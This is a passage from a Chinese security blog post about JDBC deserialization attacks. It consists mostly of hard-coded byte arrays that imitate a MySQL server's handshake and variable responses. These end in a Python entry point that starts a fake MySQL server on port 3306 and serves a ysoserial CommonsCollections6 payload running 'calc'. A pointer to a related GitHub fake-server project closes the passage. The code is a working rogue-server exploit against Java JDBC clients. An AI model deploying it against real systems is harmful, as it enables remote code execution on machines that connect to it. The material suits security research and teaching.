0x00, 0x00, 0x07, 0x6c, 0x69, 0x63, 0x65, 0x6e,
0x73, 0x65, 0x00, 0x0c, 0x21, 0x00, 0x09, 0x00,
0x00, 0x00, 0xfd, 0x00, 0x00, 0x1f, 0x00, 0x00,
0x2c, 0x00, 0x00, 0x0c, 0x03, 0x64, 0x65, 0x66,
0x00, 0x00, 0x00, 0x16, 0x6c, 0x6f, 0x77, 0x65,
0x72, 0x5f, 0x63, 0x61, 0x73, 0x65, 0x5f, 0x74,
0x61, 0x62, 0x6c, 0x65, 0x5f, 0x6e, 0x61, 0x6d,
0x65, 0x73, 0x00, 0x0c, 0x3f, 0x00, 0x15, 0x00,
0x00, 0x00, 0x08, 0xa0, 0x00, 0x00, 0x00, 0x00,
0x28, 0x00, 0x00, 0x0d, 0x03, 0x64, 0x65, 0x66,
0x00, 0x00, 0x00, 0x12, 0x6d, 0x61, 0x78, 0x5f,
0x61, 0x6c, 0x6c, 0x6f, 0x77, 0x65, 0x64, 0x5f,
0x70, 0x61, 0x63, 0x6b, 0x65, 0x74, 0x00, 0x0c,
0x3f, 0x00, 0x15, 0x00, 0x00, 0x00, 0x08, 0xa0 ];
part2= [
0x00, 0x00, 0x00, 0x00, 0x27, 0x00, 0x00, 0x0e,
0x03, 0x64, 0x65, 0x66, 0x00, 0x00, 0x00, 0x11,
0x6e, 0x65, 0x74, 0x5f, 0x77, 0x72, 0x69, 0x74,
0x65, 0x5f, 0x74, 0x69, 0x6d, 0x65, 0x6f, 0x75,
0x74, 0x00, 0x0c, 0x3f, 0x00, 0x15, 0x00, 0x00,
0x00, 0x08, 0xa0, 0x00, 0x00, 0x00, 0x00, 0x26,
0x00, 0x00, 0x0f, 0x03, 0x64, 0x65, 0x66, 0x00,
0x00, 0x00, 0x10, 0x71, 0x75, 0x65, 0x72, 0x79,
0x5f, 0x63, 0x61, 0x63, 0x68, 0x65, 0x5f, 0x73,
0x69, 0x7a, 0x65, 0x00, 0x0c, 0x3f, 0x00, 0x15,
0x00, 0x00, 0x00, 0x08, 0xa0, 0x00, 0x00, 0x00,
0x00, 0x26, 0x00, 0x00, 0x10, 0x03, 0x64, 0x65,
0x66, 0x00, 0x00, 0x00, 0x10, 0x71, 0x75, 0x65,
0x72, 0x79, 0x5f, 0x63, 0x61, 0x63, 0x68, 0x65,
0x5f, 0x74, 0x79, 0x70, 0x65, 0x00, 0x0c, 0x21,
0x00, 0x09, 0x00, 0x00, 0x00, 0xfd, 0x00, 0x00,
0x1f, 0x00, 0x00, 0x1e, 0x00, 0x00, 0x11, 0x03,
0x64, 0x65, 0x66, 0x00, 0x00, 0x00, 0x08, 0x73,
0x71, 0x6c, 0x5f, 0x6d, 0x6f, 0x64, 0x65, 0x00,
0x0c, 0x21, 0x00, 0x9b, 0x01, 0x00, 0x00, 0xfd,
0x00, 0x00, 0x1f, 0x00, 0x00, 0x26, 0x00, 0x00,
0x12, 0x03, 0x64, 0x65, 0x66, 0x00, 0x00, 0x00,
0x10, 0x73, 0x79, 0x73, 0x74, 0x65, 0x6d, 0x5f,
0x74, 0x69, 0x6d, 0x65, 0x5f, 0x7a, 0x6f, 0x6e,
0x65, 0x00, 0x0c, 0x21, 0x00, 0x12, 0x00, 0x00,
0x00, 0xfd, 0x00, 0x00, 0x1f, 0x00, 0x00, 0x1f,
0x00, 0x00, 0x13, 0x03, 0x64, 0x65, 0x66, 0x00,
0x00, 0x00, 0x09, 0x74, 0x69, 0x6d, 0x65, 0x5f,
0x7a, 0x6f, 0x6e, 0x65, 0x00, 0x0c, 0x21, 0x00,
0x12, 0x00, 0x00, 0x00, 0xfd, 0x00, 0x00, 0x1f,
0x00, 0x00, 0x2b, 0x00, 0x00, 0x14, 0x03, 0x64,
0x65, 0x66, 0x00, 0x00, 0x00, 0x15, 0x74, 0x72,
0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f,
0x6e, 0x5f, 0x69, 0x73, 0x6f, 0x6c, 0x61, 0x74,
0x69, 0x6f, 0x6e, 0x00, 0x0c, 0x21, 0x00, 0x2d,
0x00, 0x00, 0x00, 0xfd, 0x00, 0x00, 0x1f, 0x00,
0x00, 0x22, 0x00, 0x00, 0x15, 0x03, 0x64, 0x65,
0x66, 0x00, 0x00, 0x00, 0x0c, 0x77, 0x61, 0x69,
0x74, 0x5f, 0x74, 0x69, 0x6d, 0x65, 0x6f, 0x75,
0x74, 0x00, 0x0c, 0x3f, 0x00, 0x15, 0x00, 0x00,
0x00, 0x08, 0xa0, 0x00, 0x00, 0x00, 0x00, 0x1f,
0x01, 0x00, 0x16, 0x01, 0x31, 0x04, 0x75, 0x74,
0x66, 0x38, 0x04, 0x75, 0x74, 0x66, 0x38, 0x04,
0x75, 0x74, 0x66, 0x38, 0x04, 0x75, 0x74, 0x66,
0x38, 0x0f, 0x75, 0x74, 0x66, 0x38, 0x5f, 0x75,
0x6e, 0x69, 0x63, 0x6f, 0x64, 0x65, 0x5f, 0x63,
0x69, 0x0f, 0x75, 0x74, 0x66, 0x38, 0x5f, 0x67,
0x65, 0x6e, 0x65, 0x72, 0x61, 0x6c, 0x5f, 0x63,
0x69, 0x0e, 0x53, 0x45, 0x54, 0x20, 0x4e, 0x41,
0x4d, 0x45, 0x53, 0x20, 0x75, 0x74, 0x66, 0x38,
0x03, 0x31, 0x32, 0x30, 0x03, 0x47, 0x50, 0x4c,
0x01, 0x31, 0x08, 0x31, 0x36, 0x37, 0x37, 0x37,
0x32, 0x31, 0x36, 0x02, 0x36, 0x30, 0x07, 0x31,
0x30, 0x34, 0x38, 0x35, 0x37, 0x36, 0x03, 0x4f,
0x46, 0x46, 0x89, 0x4f, 0x4e, 0x4c, 0x59, 0x5f,
0x46, 0x55, 0x4c, 0x4c, 0x5f, 0x47, 0x52, 0x4f,
0x55, 0x50, 0x5f, 0x42, 0x59, 0x2c, 0x53, 0x54,
0x52, 0x49, 0x43, 0x54, 0x5f, 0x54, 0x52, 0x41,
0x4e, 0x53, 0x5f, 0x54, 0x41, 0x42, 0x4c, 0x45,
0x53, 0x2c, 0x4e, 0x4f, 0x5f, 0x5a, 0x45, 0x52,
0x4f, 0x5f, 0x49, 0x4e, 0x5f, 0x44, 0x41, 0x54,
0x45, 0x2c, 0x4e, 0x4f, 0x5f, 0x5a, 0x45, 0x52,
0x4f, 0x5f, 0x44, 0x41, 0x54, 0x45, 0x2c, 0x45,
0x52, 0x52, 0x4f, 0x52, 0x5f, 0x46, 0x4f, 0x52,
0x5f, 0x44, 0x49, 0x56, 0x49, 0x53, 0x49, 0x4f,
0x4e, 0x5f, 0x42, 0x59, 0x5f, 0x5a, 0x45, 0x52,
0x4f, 0x2c, 0x4e, 0x4f, 0x5f, 0x41, 0x55, 0x54 ]
part3= [
0x4f, 0x5f, 0x43, 0x52, 0x45, 0x41, 0x54, 0x45,
0x5f, 0x55, 0x53, 0x45, 0x52, 0x2c, 0x4e, 0x4f,
0x5f, 0x45, 0x4e, 0x47, 0x49, 0x4e, 0x45, 0x5f,
0x53, 0x55, 0x42, 0x53, 0x54, 0x49, 0x54, 0x55,
0x54, 0x49, 0x4f, 0x4e, 0x12, 0xe4, 0xb8, 0xad,
0xe5, 0x9b, 0xbd, 0xe6, 0xa0, 0x87, 0xe5, 0x87,
0x86, 0xe6, 0x97, 0xb6, 0xe9, 0x97, 0xb4, 0x06,
0x2b, 0x30, 0x38, 0x3a, 0x30, 0x30, 0x0f, 0x52,
0x45, 0x50, 0x45, 0x41, 0x54, 0x41, 0x42, 0x4c,
0x45, 0x2d, 0x52, 0x45, 0x41, 0x44, 0x03, 0x31,
0x32, 0x30, 0x07, 0x00, 0x00, 0x17, 0xfe, 0x00,
0x00, 0x02, 0x00, 0x00, 0x00 ]
join_part = bytes(part1+part2+part3)
return join_part
if __name__ == "__main__":
start_server(3306,"unableUse",["java8","-jar","./ysoserial.jar","CommonsCollections6","calc"])
对于从mysql服务器返回恶意对象的方法,github上已经有相关项目,参考
https://github.com/fnmsd/MySQL_Fake_Server
标签:JDBC,JAVA,x61,x65,x73,x5f,part,x00,x6f From: https://www.cnblogs.com/cyyyyi/p/18666340